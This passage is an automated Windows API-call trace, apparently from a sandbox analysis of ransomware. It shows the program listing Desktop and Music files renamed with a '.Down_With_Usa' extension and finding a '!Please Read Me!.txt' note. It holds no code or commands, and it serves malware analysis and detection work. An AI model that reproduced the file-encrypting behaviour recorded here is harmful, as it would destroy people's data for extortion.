[0275.732] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.732] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ed, lParam=0x0) returned 0x0
[0275.733] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f6b64) returned 0xd
[0275.733] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f6b64) returned 0xd
[0275.734] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.734] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4.Down_With_Usa", length=76, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.734] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.735] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.735] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.741] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f7854) returned 0xe
[0275.741] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f7854) returned 0xe
[0275.742] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.742] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png.Down_With_Usa", length=72, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.742] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.742] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.742] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.743] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f7ab4) returned 0xf
[0275.743] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f7ab4) returned 0xf
[0275.744] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.744] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif.Down_With_Usa", length=62, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.744] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.744] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.744] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.745] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f802c) returned 0x10
[0275.745] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f802c) returned 0x10
[0275.746] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.746] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp.Down_With_Usa", length=66, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.747] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.747] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.747] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.752] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f9fec) returned 0x11
[0275.752] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26f9fec) returned 0x11
[0275.754] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.754] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg.Down_With_Usa", length=68, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.754] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.754] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.754] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.755] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26fa234) returned 0x12
[0275.755] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26fa234) returned 0x12
[0275.755] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.755] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp.Down_With_Usa", length=61, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.756] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.756] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.756] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.757] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26fa77c) returned 0x13
[0275.757] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26fa77c) returned 0x13
[0275.758] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.758] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv.Down_With_Usa", length=60, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.758] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.758] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.758] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.759] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26fab54) returned 0x14
[0275.759] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26fab54) returned 0x14
[0275.760] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.760] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi.Down_With_Usa", length=62, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.760] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.760] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.760] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.761] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26fad94) returned 0x15
[0275.761] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x26fad94) returned 0x15
[0275.761] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.762] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg.Down_With_Usa", length=72, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.762] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.762] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.762] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.766] CoTaskMemAlloc (cb=0x20c) returned 0x27d84af0
[0275.766] SHGetFolderPathW (in: hwnd=0x0, csidl=13, hToken=0x0, dwFlags=0x0, pszPath=0x27d84af0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 0x0
[0275.768] CoTaskMemFree (pv=0x27d84af0)
[0275.768] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2ece40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0275.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0275.881] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0275.882] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpFilePart=0x0) returned 0x24
[0275.885] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f05cd0
[0275.887] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0275.888] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245785e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0275.889] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245785e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24ad3760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs.Down_With_Usa", cAlternateFileName="!PLEAS~2.DOW")) returned 1
[0275.889] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79404f30, ftCreationTime.dwHighDateTime=0x1d5dfb5, ftLastAccessTime.dwLowDateTime=0x50667960, ftLastAccessTime.dwHighDateTime=0x1d5dcfc, ftLastWriteTime.dwLowDateTime=0x50667960, ftLastWriteTime.dwHighDateTime=0x1d5dcfc, nFileSizeHigh=0x0, nFileSizeLow=0xcf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="73xJeRBxXbqxOZ4YkoD.m4a", cAlternateFileName="73XJER~1.M4A")) returned 1
[0275.890] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd24d6110, ftCreationTime.dwHighDateTime=0x1d5e011, ftLastAccessTime.dwLowDateTime=0xc9924be0, ftLastAccessTime.dwHighDateTime=0x1d5d98a, ftLastWriteTime.dwLowDateTime=0xc9924be0, ftLastWriteTime.dwHighDateTime=0x1d5d98a, nFileSizeHigh=0x0, nFileSizeLow=0x6606, dwReserved0=0x0, dwReserved1=0x0, cFileName="8BbIrEDm8BZ0_M000xp.m4a", cAlternateFileName="8BBIRE~1.M4A")) returned 1
[0275.890] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c417b70, ftCreationTime.dwHighDateTime=0x1d5e6ac, ftLastAccessTime.dwLowDateTime=0xbf06d100, ftLastAccessTime.dwHighDateTime=0x1d5e13c, ftLastWriteTime.dwLowDateTime=0xbf06d100, ftLastWriteTime.dwHighDateTime=0x1d5e13c, nFileSizeHigh=0x0, nFileSizeLow=0x5508, dwReserved0=0x0, dwReserved1=0x0, cFileName="C75 nBKp02bsopw.m4a", cAlternateFileName="C75NBK~1.M4A")) returned 1
[0275.891] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0275.891] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119075a0, ftCreationTime.dwHighDateTime=0x1d5dcbc, ftLastAccessTime.dwLowDateTime=0x4f1c6670, ftLastAccessTime.dwHighDateTime=0x1d5da39, ftLastWriteTime.dwLowDateTime=0x24b45b80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q8NZX1XfBMCBpJsmGuh.mp3.Down_With_Usa", cAlternateFileName="Q8NZX1~1.DOW")) returned 1
[0275.892] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b65fb10, ftCreationTime.dwHighDateTime=0x1d5dabc, ftLastAccessTime.dwLowDateTime=0x2547f0c0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2547f0c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rd3ixcGHmVa", cAlternateFileName="RD3IXC~1")) returned 1
[0275.892] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b65fb10, ftCreationTime.dwHighDateTime=0x1d5dabc, ftLastAccessTime.dwLowDateTime=0x2547f0c0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2547f0c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rd3ixcGHmVa", cAlternateFileName="RD3IXC~1")) returned 0
[0275.893] FindClose (in: hFindFile=0x27f05cd0 | out: hFindFile=0x27f05cd0) returned 1
[0275.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0275.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0275.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0275.894] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0275.894] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpFilePart=0x0) returned 0x24
[0275.894] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f05cd0
[0275.895] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0275.896] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245785e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0275.896] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245785e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24ad3760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs.Down_With_Usa", cAlternateFileName="!PLEAS~2.DOW")) returned 1
[0275.897] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79404f30, ftCreationTime.dwHighDateTime=0x1d5dfb5, ftLastAccessTime.dwLowDateTime=0x50667960, ftLastAccessTime.dwHighDateTime=0x1d5dcfc, ftLastWriteTime.dwLowDateTime=0x50667960, ftLastWriteTime.dwHighDateTime=0x1d5dcfc, nFileSizeHigh=0x0, nFileSizeLow=0xcf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="73xJeRBxXbqxOZ4YkoD.m4a", cAlternateFileName="73XJER~1.M4A")) returned 1
[0275.897] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd24d6110, ftCreationTime.dwHighDateTime=0x1d5e011, ftLastAccessTime.dwLowDateTime=0xc9924be0, ftLastAccessTime.dwHighDateTime=0x1d5d98a, ftLastWriteTime.dwLowDateTime=0xc9924be0, ftLastWriteTime.dwHighDateTime=0x1d5d98a, nFileSizeHigh=0x0, nFileSizeLow=0x6606, dwReserved0=0x0, dwReserved1=0x0, cFileName="8BbIrEDm8BZ0_M000xp.m4a", cAlternateFileName="8BBIRE~1.M4A")) returned 1
[0275.898] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c417b70, ftCreationTime.dwHighDateTime=0x1d5e6ac, ftLastAccessTime.dwLowDateTime=0xbf06d100, ftLastAccessTime.dwHighDateTime=0x1d5e13c, ftLastWriteTime.dwLowDateTime=0xbf06d100, ftLastWriteTime.dwHighDateTime=0x1d5e13c, nFileSizeHigh=0x0, nFileSizeLow=0x5508, dwReserved0=0x0, dwReserved1=0x0, cFileName="C75 nBKp02bsopw.m4a", cAlternateFileName="C75NBK~1.M4A")) returned 1
[0275.898] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0275.899] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119075a0, ftCreationTime.dwHighDateTime=0x1d5dcbc, ftLastAccessTime.dwLowDateTime=0x4f1c6670, ftLastAccessTime.dwHighDateTime=0x1d5da39, ftLastWriteTime.dwLowDateTime=0x24b45b80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q8NZX1XfBMCBpJsmGuh.mp3.Down_With_Usa", cAlternateFileName="Q8NZX1~1.DOW")) returned 1
[0275.899] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b65fb10, ftCreationTime.dwHighDateTime=0x1d5dabc, ftLastAccessTime.dwLowDateTime=0x2547f0c0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2547f0c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rd3ixcGHmVa", cAlternateFileName="RD3IXC~1")) returned 1
[0275.900] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0275.900] FindClose (in: hFindFile=0x27f05cd0 | out: hFindFile=0x27f05cd0) returned 1
[0275.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0275.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0275.902] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr="Contains", cchSrc=8, lpDestStr=0x2853d14, cchDest=8, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x1abf1f60 | out: lpDestStr="contains") returned 8
[0275.917] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2851404) returned 0x16
[0275.917] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2851404) returned 0x16
[0275.921] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.923] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs.Down_With_Usa", length=70, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.924] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.925] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.925] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.929] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2851e8c) returned 0x17
[0275.929] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2851e8c) returned 0x17
[0275.931] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0275.931] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3.Down_With_Usa", length=73, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0275.931] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0275.931] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.931] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0275.932] CoTaskMemAlloc (cb=0x20c) returned 0x27d84af0
